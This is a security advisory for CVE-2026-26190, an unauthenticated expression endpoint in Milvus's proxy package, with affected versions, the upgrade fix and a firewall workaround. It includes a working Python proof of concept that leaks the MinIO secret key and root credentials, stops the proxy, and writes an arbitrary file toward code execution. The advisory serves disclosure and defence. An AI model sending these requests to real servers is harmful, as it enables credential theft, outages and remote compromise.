Insecure Default Initialization of Resource Affecting github.com/milvus-io/milvus/internal/distributed/proxy package, versions <2.5.27>=2.6.0 <2.6.10


Severity

Recommended
0.0
critical
0
10

CVSS assessment by Snyk's Security Team. Learn more

Threat Intelligence

Exploit Maturity
Proof of Concept
EPSS
36.91% (99th percentile)

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk IDSNYK-GOLANG-GITHUBCOMMILVUSIOMILVUSINTERNALDISTRIBUTEDPROXY-15272646
  • published12 Feb 2026
  • disclosed11 Feb 2026
  • creditYingLin Xie, 0x1f, ac0d3r

Introduced: 11 Feb 2026

CVE-2026-26190  (opens in a new tab)
CWE-1188  (opens in a new tab)
CWE-306  (opens in a new tab)
CWE-749  (opens in a new tab)

How to fix?

Upgrade github.com/milvus-io/milvus/internal/distributed/proxy to version 2.5.27, 2.6.10 or higher.

Overview

Affected versions of this package are vulnerable to Insecure Default Initialization of Resource via the registerHTTPServer function. An attacker can gain full access to sensitive configuration data, manipulate or delete collections, manage user credentials, shut down services, and write arbitrary files to the server filesystem by sending unauthenticated requests to exposed endpoints.

Workaround

  • Block external access to port 9091 using firewall rules or network policies.

PoC

import requests

url = "http://<target>:9091/expr"

# Leak sensitive configuration (e.g., MinIO secret key)
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "param.MinioCfg.SecretAccessKey.GetValue()"
}, timeout=5)
print(res.json().get("output", ""))

# Retrieve hashed credentials for the root user
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "rootcoord.meta.GetCredential(ctx, 'root')"
}, timeout=5)
print(res.json().get("output", ""))

# Denial of Service — stop the proxy
res = requests.get(url, params={
    "auth": "by-dev",
    "code": "proxy.Stop()"
}, timeout=5)

# Arbitrary file write (potential RCE)
for cmd in [
    'param.Save("proxy.accessLog.localPath", "/tmp")',
    'param.Save("proxy.accessLog.formatters.base.format", "whoami")',
    'param.Save("proxy.accessLog.filename", "evil.sh")',
    'querycoord.etcdCli.KV.Put(ctx, "by-dev/config/proxy/accessLog/enable", "true")'
]:
    requests.get(url, params={"auth": "by-dev", "code": cmd}, timeout=5)

CVSS Base Scores

version 4.0
version 3.1